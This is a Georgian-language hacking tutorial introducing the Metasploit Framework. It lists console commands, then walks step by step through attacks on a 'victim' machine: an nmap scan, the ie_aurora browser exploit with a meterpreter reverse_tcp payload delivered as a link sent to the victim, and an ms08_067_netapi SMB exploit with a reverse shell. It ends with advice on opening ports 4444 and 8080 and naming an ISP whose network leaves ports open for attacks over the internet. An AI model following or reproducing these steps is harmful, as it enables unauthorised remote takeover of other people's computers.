metasploit

XXI საუკუნე, ეს არის პერიოდი როდესაც საზოგადოების ნაწილი იყოფა მისი ფსიქოლოგიის მიხედვით, ზოგს მუსიკალური ცხოვრება იზიდავს, ზოგს თეატრალური და ა.შ

XX საუკუნის 40-იან წლებში შეიქმნა გამომთვლელი მანქანა, რომელმაც საგრძნობლად შეცვლა ვითარება მსოფლიო მასშტაბით

მან ჩანერგა უამრავი ახალი პროფესია, ხალხი გადავიდა ელექტრონულ ცხოვრებაზე, თავდაპირველად მას იყენებდნენ მისი შესაძლებლობების მიხედვით.

გამომთვლელი მანქანის განვითარებასთან ერთად შეიქმნა მსოფლიო ქსელი, რომელიც აკავშირებდა სხვადასხვა ქვეყნებს, ერთი უბრალო გამომთვლელი მანქანის საშუალებით

ეს იყო XX საუკუნის მიხწევა

ამ პერიოდში შეიქმნა ცხოვრების უამრავი ახალი მიმდევრობა

ერთ-ერთი კი იყო **Hacking**

მისი განზოგადება საკმაოდ დიდია, მაგრამ არსებობს ისეთი საქმიანობაც რომელიც მის რამოდენიმე განხრას აერთებს მაგალითად ***Exploiter*** - ეს არის ადამიანი, რომელიც ქმნის ამათუიმ კოდს რათა გამოიყენოს და შევიდეს სისტემასთან კონტაქტში არამარლთზომიერად ერთი პატარა დაშვებული შეცდომის ხარჯზე ...

Metasploit Framework - ეს არის exploit-ების კრებული შექმნილი Penetration Tester-ებისათვის, იგი საშუალებას გაძლევთ თქვენი სურვილისამებრ შეცვალოთ exploit-ის შიგნეულობა ან configuration გაუკეთოთ თქვენს სისტემაზე, რომელიც ძალზედ მარტივი და გამოსაყენებადია ...

მას დღესდღეობით ისევე როგორც სხვა უამრავ მის მსგავს პროექტს იყენებენ რასთან საბრძოლველადაც შეიქმნა იგი ...

მარტივია მოკლა მტერი მისივე იარაღით

msf იგივე *metasploit* - აერთებს 2 **Hacking** საქმიანობას რომლებიცაა: *System-Hacking* და *Network-Hacking*

იგი საშუალებას გაძლევთ გადახვიდეთ რეალობიდან არარეალობაში და მისწვდეთ იმ სიმაღლეებს, რომლებზეც საზოგადოების დიდი ნაწილი უბრალოდ ოცნებობდა

< metasploit >

```
 ,__,
 (oo)____
 (__)    )\
    ||--||  *
```

იგი მუშაობს Remote Port-ებზე, რაც საშუალებას გვაძლევს კონკრეტული პორტიდან აუღელვებლად გამოვიყენოთ მისი Connect ოპერაციულ სისტემასთან...

ასეთი პორტებია : 135, 139, 443, 445 და ა.შ

დღემდე ებრძვიან ამ პორტებს პროვაიდერები და საქართველოში მისი დაბლოკვა უკვე სტანდარტია, პროვაიდერის ვებ-გვერდზე დიდი ასოებით წერია (გახსნილია ყველა პორტი გარდა .. ზემოთ მითითებული პორტებისა)

msf-მდე იყო უამრავი სხვა საშუალება მაგალითად ბევრისთვის კარგად

ნაცნობი „kaht2“ ასევე ქართველების მიერ უცხოურ კოდზე შექმნილი „დარდუბალა“ და მრავალი სხვა ხელსაწყო, რომელიც საშუალებას გვაძლევდა ზემოთ აღნიშნული პორტების საშუალებით Connect გაგვეკეთებინა ოპერაციულ სისტემაზე და ტოტალური კონტროლი მოგვეპოვებინა მასზე.
ისინი მუშაობდნენ მხოლოდ და მხოლოდ **Microsoft**-ის მიერ შექმნილ ოპერაციულ სისტემებზე **Windows 95/98/ME/XP-SP1**,
მაგრამ გადის დრო და ის საშუალებები რომლებიც ადრე იყო გამოყენებითი ეხლა უბრალოდ არაფრის მაქნისი exploit კოდებია, რადგან გამოჩნდა ახალი ოპერაციული სისტემები უფრო დაცული და უფრო სწრაფი.
გადიოდა დრო და საჭირო ხდებოდა ახალი ისეთი exploit-ების შექმნა, რომლებსაც პრობლემა აღარ შეექმნებოდათ ოპერაციული სისტემის ნაირსახეობასთან დაკავშირებით.
სპეციალურად ტესტერთათვის 2003 წელს შეიქმნა msf იგივე Metasploit
იგი საშუალებას გვაძლევს მივიღოთ ახალი **exploit**-ები, რომლებიც დაწერილია სპეციალურად ახალი ხვრელებისათვის
msf-ს გაწვდით სრულ ინფორმაციას, როგორც Exploit-ის შემქმნელზე ასევე მის შესაძლებლობებზე.
info exploit_name - მისი საშუალებით შეგვიძლია გავიგოთ ინფორმაცია ამათუიმ Exploit-ის შესახებ მის კოდერებზე და არა მხოლოდ..
info payload_name - ეს კი საშუალებას გვაძელვს გავიგოთ ინფორმაცია payload-ზე და იმაზე თუ რა ფორმატებსა და რა ოპერაციულ სისტემებზე მუშაობს იგი.

სტატიის მიზანია ზოგადად გავეცნოთ metasploit-ის წარმოსადეგობასა და შესაძლებლობებს ...
მოდით დავიწყოთ მარტივად მისი დამხამარე ფუნქციების გარჩევით
?/Help - დამხმარე ველი, რომელიც გვაჩვენებს ყველა ფუნქციას msf-ში ...
cd - დირექტორიის არჩევა
reload - exploit-ების გადატვირთვა (რესტარტი)
save - დამუშავებული exploit-ის შენახვა მყარ დისკზე (HDD)
show - exploit-ების ლისტი და მისი დამატებები
use - exploit-ის არჩევა
version - კონსულის ვერსიის ნახვა
quit/exit - კონსულიდან გამოსვლა

განვიხილოთ კონკრეტული მაგალითი რა შეუძლია Metasploit-ს ...
მაგალითი ჩავატაროთ ლოკალურ ქსელში (LAN)
ლოკალურ ქსელში მოგეხსენებათ ყველა პორტი გახსნილია მათშორის
DCE (135), NETBIOS (139) **და** Microsoft-DS (445)

ჩვენი ლოკალური IP Address არის მაგალითად 192.168.1.2
ხოლო მსხვერპლის 192.168.1.3
პირველ რიგში სკანირებას ვუტარებთ nmap-ის საშუალებით
ვხსნით Command line-ს (cmd) და ვწერთ მასში nmap -T4 192.168.1.3
მივიღებთ ასეთ შედეგს

Interesting ports on 192.168.1.3:

135/tcp open dce
139/tcp open netbios
445/tcp open microsoft-ds

ამის შემდეგ შეგვიძლია უკვე ჩავტვირთოთ ჩვენი Metasploit Command და დავიწყოთ შეტევა
შეგვყავს ბრძანება show exploits, რომლის საშუალებითაც ჩვენ ვღებულობთ exploit-ები სრულ სიას
შეგვყავს ბრძანება use და exploit-ის სახელი ჩვენს შემთხვევაში:
use windows/browser/ie_aurora
შემდეგ ვუკეთებთ დამატებას
set PAYLOAD windows/meterpreter/reverse_tcp
ვაკეთებთ Exploit Configuration ...
set LHOST ჩვენი ლოკალური აიპ მისამართი
set LHOST 192.168.1.2

set RHOST მსხვერპლის IP მისამართი
set RHOST 192.168.1.3

გავუკეთოთ ლინკის დამატება
set URIPATH 0wn

დავაყენოთ ბრძანება ავტომატურად OS (ოპერაციული სისტემის) ძიებასთან დაკავშირებით
set target 0
exploit configured ახლა უკვე დროა შევიყვანოთ ჯადოსნური სიტყვა
exploit
რის შემდეგაც exploit გააქტიურდება
და მოგვცემს ლინკს ამ შემთხვევაში კი
http://192.168.1.3:8080/0wn
ლინკს ვაწვდით მსხვერპლს და გახსნის თანავე ჩვენ ტოტალურ კონტროლს ვიღებთ მის ოპერაციულ სისტემაზე

განვიხილოთ მეორე მაგალითი
ამჯერად გამოვიყენოთ
windows/smb/ms08_067_netapi
შესავლის გარეშე დავიწყოთ შეტევა OS-ზე
use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.2
set RHOST 192.168.1.3
set target 0
show options - ამ ბრძანების შემდეგ საშუალება გვაქვს ვნახოთ ჩვენი Configurated exploit და შეცდომის შემთხვევაში უბრალოდ ახლიდან შევიყვანოთ ბრძანება
ამის შემდეგ ისევ ჯადოსნური სიტყვა "**exploit**"
და იქ ვართ სადაც გველოდნენ!

Download Metasploit Framework : http://www.metasploit.com/framework/download/
Download nmap : http://nmap.org/download.html

გლობალურ ქსელში ყველაფერი ანალოგიურია, როგორც ლოკალურ ქსელში მხოლოდ იმ განსხვავებით, რომ ჩვენს ქსელს ესაჭიროება 4444 პორტის ან/და 8080 პორტის გახსნა
დაუკავშირდით პროვაიდერს ან საკუთარი როუთერის მართვის შემთხვევაში თქვენ გახსნით ...
აქვე დავამატებ ბოჭკოვანი ინტერნეტის ქონის შემთხვევაში **(Gelink)** ყველა საჭირო პორტი გახსნილია შეტევის განსახორციელებლად ...

წარმატებებს გისურვებთ, საუკეთესო სურვილებით Mkr!
P.S *Metasploit* ძალზედ საჭირო და ფუნქციონალური ხელსაწყოა და საზოგადოებას მოვუწოდებ მალე SQLi-ს არ გაუტოლონ ...